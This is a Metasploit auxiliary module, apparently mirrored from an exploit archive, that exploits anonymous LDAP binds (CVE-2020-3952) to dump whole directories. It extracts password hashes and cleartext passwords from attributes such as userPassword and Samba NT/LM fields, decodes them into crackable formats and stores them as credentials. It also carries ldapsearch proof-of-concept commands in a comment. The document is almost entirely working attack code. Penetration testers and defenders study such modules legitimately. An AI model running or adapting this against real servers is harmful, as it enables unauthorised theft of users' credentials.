Share
## https://sploitus.com/exploit?id=PACKETSTORM:180644
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::LDAP  
include Msf::OptionalSession::LDAP  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'LDAP Information Disclosure',  
'Description' => %q{  
This module uses an anonymous-bind LDAP connection to dump data from  
an LDAP server. Searching for attributes with user credentials  
(e.g. userPassword).  
},  
'Author' => [  
'Hynek Petrak' # Discovery, module  
],  
'References' => [  
['CVE', '2020-3952'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']  
],  
'DisclosureDate' => '2020-07-23',  
'License' => MSF_LICENSE,  
'Actions' => [  
['Dump', { 'Description' => 'Dump all LDAP data' }]  
],  
'DefaultAction' => 'Dump',  
'DefaultOptions' => {  
'SSL' => true,  
'RPORT' => 636  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options([  
OptInt.new('MAX_LOOT', [false, 'Maximum number of LDAP entries to loot', nil]),  
OptInt.new('READ_TIMEOUT', [false, 'LDAP read timeout in seconds', 600]),  
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),  
OptString.new('USER_ATTR', [false, 'LDAP attribute(s), that contains username', 'dn']),  
OptString.new('PASS_ATTR', [  
true, 'LDAP attribute, that contains password hashes',  
'userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword'  
# Other potential candidates:  
# ipanthash, krbpwdhistory, krbmkey, userpkcs12, unixUserPassword, krbprincipalkey, radiustunnelpassword, sambapasswordhistory  
])  
])  
end  
  
def user_attr  
@user_attr ||= 'dn'  
end  
  
def print_ldap_error(ldap)  
opres = ldap.get_operation_result  
msg = "LDAP error #{opres.code}: #{opres.message}"  
unless opres.error_message.to_s.empty?  
msg += " - #{opres.error_message}"  
end  
print_error("#{ldap.peerinfo} #{msg}")  
end  
  
# PoC using ldapsearch(1):  
#  
# Retrieve root DSE with base DN:  
# ldapsearch -xb "" -s base -H ldap://[redacted]  
#  
# Dump data using discovered base DN:  
# ldapsearch -xb bind_dn -H ldap://[redacted] \* + -  
def run_host(ip)  
@rhost = ip  
  
@read_timeout = datastore['READ_TIMEOUT'] || 600  
  
entries_returned = 0  
  
ldap_new do |ldap|  
if ldap.get_operation_result.code == 0  
vprint_status("#{ldap.peerinfo} LDAP connection established")  
else  
# Even if we get "Invalid credentials" error, we may proceed with anonymous bind  
print_ldap_error(ldap)  
end  
  
@rhost = ldap.peerhost  
@rport = ldap.peerport  
  
if (base_dn_tmp = datastore['BASE_DN'])  
vprint_status("#{ldap.peerinfo} User-specified base DN: #{base_dn_tmp}")  
naming_contexts = [base_dn_tmp]  
else  
vprint_status("#{ldap.peerinfo} Discovering base DN(s) automatically")  
  
naming_contexts = ldap.naming_contexts  
print_ldap_error(ldap) unless ldap.get_operation_result.code == 0  
  
if naming_contexts.nil? || naming_contexts.empty?  
vprint_warning("#{ldap.peerinfo} Falling back to an empty base DN")  
naming_contexts = ['']  
end  
end  
  
@max_loot = datastore['MAX_LOOT']  
  
@user_attr ||= datastore['USER_ATTR']  
@user_attr ||= 'dn'  
vprint_status("#{ldap.peerinfo} Taking '#{@user_attr}' attribute as username")  
  
pass_attr ||= datastore['PASS_ATTR']  
@pass_attr_array = pass_attr.split(/[,\s]+/).compact.reject(&:empty?).map(&:downcase)  
  
# Dump root DSE for useful information, e.g. dir admin  
if @max_loot.nil? || (@max_loot > 0)  
print_status("#{ldap.peerinfo} Dumping data for root DSE")  
  
ldap_search(ldap, 'root DSE', {  
ignore_server_caps: true,  
scope: Net::LDAP::SearchScope_BaseObject  
})  
end  
  
naming_contexts.each do |base_dn|  
print_status("#{ldap.peerinfo} Searching base DN='#{base_dn}'")  
entries_returned += ldap_search(ldap, base_dn, {  
base: base_dn  
})  
end  
end  
  
# Safe if server did not returned anything  
unless (entries_returned > 0)  
fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe')  
end  
rescue Timeout::Error  
fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory')  
rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e  
fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}")  
end  
  
def ldap_search(ldap, base_dn, args)  
entries_returned = 0  
creds_found = 0  
def_args = {  
base: '',  
return_result: false,  
attributes: %w[* + -]  
}  
Tempfile.create do |f|  
f.write("# LDIF dump of #{ldap.peerinfo}, base DN='#{base_dn}'\n")  
f.write("\n")  
begin  
# HACK: fix lack of read/write timeout in Net::LDAP  
Timeout.timeout(@read_timeout) do  
ldap.search(def_args.merge(args)) do |entry|  
entries_returned += 1  
if @max_loot.nil? || (entries_returned <= @max_loot)  
f.write("# #{entry.dn}\n")  
f.write(entry.to_ldif.force_encoding('utf-8'))  
f.write("\n")  
end  
@pass_attr_array.each do |attr|  
if entry[attr].any?  
creds_found += process_hash(entry, attr)  
end  
end  
end  
end  
rescue Timeout::Error  
print_error("#{ldap.peerinfo} Host timeout reached while searching '#{base_dn}'")  
return entries_returned  
ensure  
unless ldap.get_operation_result.code == 0  
print_ldap_error(ldap)  
end  
if entries_returned > 0  
print_status("#{ldap.peerinfo} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.")  
f.rewind  
pillage(f.read, base_dn)  
elsif ldap.get_operation_result.code == 0  
print_error("#{ldap.peerinfo} No entries returned for '#{base_dn}'.")  
end  
end  
end  
entries_returned  
end  
  
def pillage(ldif, base_dn)  
vprint_status("Storing LDAP data for base DN='#{base_dn}' in loot")  
  
ltype = base_dn.clone  
ltype.gsub!(/ /, '_')  
ltype.gsub!(/,/, '.')  
ltype.gsub!(/(ou=|fn=|cn=|o=|dc=|c=)/i, '')  
ltype.gsub!(/[^a-z0-9._-]+/i, '')  
ltype = ltype.last(16)  
  
ldif_filename = store_loot(  
ltype, # ltype  
'text/plain', # ctype  
@rhost, # host  
ldif, # data  
nil, # filename  
"Base DN: #{base_dn.gsub(/[^[:print:]]/, '')}" # info, remove null char from base_dn  
)  
  
unless ldif_filename  
print_error('Could not store LDAP data in loot')  
return  
end  
  
print_good("Saved LDAP data to #{ldif_filename}")  
end  
  
def decode_pwdhistory(hash)  
# https://ldapwiki.com/wiki/PwdHistory  
parts = hash.split('#', 4)  
unless parts.length == 4  
return hash  
end  
  
hash = parts.last  
unless hash.starts_with?('{')  
decoded = Base64.decode64(hash)  
if decoded.starts_with?('{') || (decoded =~ /[^[:print:]]/).nil?  
return decoded  
end  
end  
hash  
end  
  
def process_hash(entry, attr)  
service_details = {  
workspace_id: myworkspace_id,  
module_fullname: fullname,  
origin_type: :service,  
address: @rhost,  
port: @rport,  
protocol: 'tcp',  
service_name: 'ldap'  
}  
  
creds_found = 0  
  
# This is the "username"  
dn = entry[@user_attr].first # .dn  
  
entry[attr].each do |hash|  
if attr == 'pwdhistory'  
hash = decode_pwdhistory(hash)  
end  
  
# 20170619183528ZHASHVALUE  
if attr == 'passwordhistory' && hash.start_with?(/\d{14}Z/i)  
hash.slice!(/\d{14}Z/i)  
end  
  
# Cases *[crypt}, !{crypt} ...  
hash.gsub!(/.?{crypt}/i, '{crypt}')  
  
# We observe some servers base64 encdode the hash string  
# and add {crypt} prefix to the base64 encoded value  
# e2NyeXB0f in base64 means {crypt  
# e3NtZD is {smd  
if hash.starts_with?(/{crypt}(e2NyeXB0f|e3NtZD)/)  
begin  
hash = Base64.strict_decode64(hash.delete_prefix('{crypt}'))  
rescue ArgumentError  
nil  
end  
end  
  
# Some have new lines at the end  
hash.chomp!  
  
# Skip empty or invalid hashes, e.g. '{CRYPT}x', xxxx, ****  
if hash.nil? || hash.empty? ||  
(hash.start_with?(/{crypt}/i) && hash.length < 10) ||  
hash.start_with?('*****') ||  
hash.start_with?(/yyyyyy/i) ||  
hash == '*' ||  
hash.end_with?('*LK*', # account locked  
'*NP*') || # password has never been set  
# reject {SASL} pass-through  
hash =~ /{sasl}/i ||  
hash.start_with?(/xxxxx/i) ||  
(attr =~ /^samba(lm|nt)password$/ &&  
(hash.length != 32 ||  
hash =~ /^aad3b435b51404eeaad3b435b51404ee$/i ||  
hash =~ /^31d6cfe0d16ae931b73c59d7e0c089c0$/i)) ||  
# observed sambapassword history with either 56 or 64 zeros  
(attr == 'sambapasswordhistory' && hash =~ /^(0{64}|0{56})$/)  
next  
end  
  
case attr  
when 'sambalmpassword'  
hash_format = 'lm'  
when 'sambantpassword'  
hash_format = 'nt'  
when 'sambapasswordhistory'  
# 795471346779677A336879366B654870 1F18DC5E346FDA5E335D9AE207C82CC9  
# where the left part is a salt and the right part is MD5(Salt+NTHash)  
# attribute value may contain multiple concatenated history entries  
# for john sort of 'md5($s.md4(unicode($p)))' - not tested  
hash_format = 'sambapasswordhistory'  
when 'krbprincipalkey'  
hash_format = 'krbprincipal'  
# TODO: krbprincipalkey is asn.1 encoded string. In case of vmware vcenter 6.7  
# it contains user password encrypted with (23) rc4-hmac and (18) aes256-cts-hmac-sha1-96:  
# https://github.com/vmware/lightwave/blob/d50d41edd1d9cb59e7b7cc1ad284b9e46bfa703d/vmdir/server/common/krbsrvutil.c#L480-L558  
# Salted with principal name:  
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175  
# In the meantime, dump the base64 encoded value.  
hash = Base64.strict_encode64(hash)  
when 'userpkcs12'  
# if we get non printable chars, encode into base64  
if (hash =~ /[^[:print:]]/).nil?  
hash_format = 'pkcs12'  
else  
hash_format = 'pkcs12-base64'  
hash = Base64.strict_encode64(hash)  
end  
else  
if hash.start_with?(/{crypt}.?\$1\$/i)  
hash.gsub!(/{crypt}.{,2}\$1\$/i, '$1$')  
hash_format = 'md5crypt'  
elsif hash.start_with?(/{crypt}/i) && hash.length == 20  
# handle {crypt}traditional_crypt case, i.e. explicitly set the hash format  
hash.slice!(/{crypt}/i)  
# FIXME: what is the right jtr_hash - des,crypt or descrypt ?  
# identify_hash returns des,crypt, while JtR acceppts descrypt  
hash_format = 'descrypt'  
# TODO: not sure if we shall slice the prefixes here or in the JtR/Hashcat formatter  
# elsif hash.start_with?(/{sha256}/i)  
# hash.slice!(/{sha256}/i)  
# hash_format = 'raw-sha256'  
else  
# handle vcenter vmdir binary hash format  
if hash[0].ord == 1 && hash.length == 81  
_type, hash, salt = hash.unpack('CH128H32')  
hash = "$dynamic_82$#{hash}$HEX$#{salt}"  
else  
# Remove LDAP's {crypt} prefix from known hash types  
hash.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1')  
end  
hash_format = Metasploit::Framework::Hashes.identify_hash(hash)  
end  
end  
  
# highlight unresolved hashes  
hash_format = '{crypt}' if hash =~ /{crypt}/i  
  
print_good("#{@rhost}:#{@rport} Credentials (#{hash_format.empty? ? 'password' : hash_format}) found in #{attr}: #{dn}:#{hash}")  
  
# known hash types should have been identified,  
# let's assume the rest are clear text passwords  
if hash_format.nil? || hash_format.empty?  
credential = create_credential(service_details.merge(  
username: dn,  
private_data: hash,  
private_type: :password  
))  
else  
credential = create_credential(service_details.merge(  
username: dn,  
private_data: hash,  
private_type: :nonreplayable_hash,  
jtr_format: hash_format  
))  
end  
  
create_credential_login({  
core: credential,  
access_level: 'User',  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_details))  
creds_found += 1  
end  
creds_found  
end  
  
end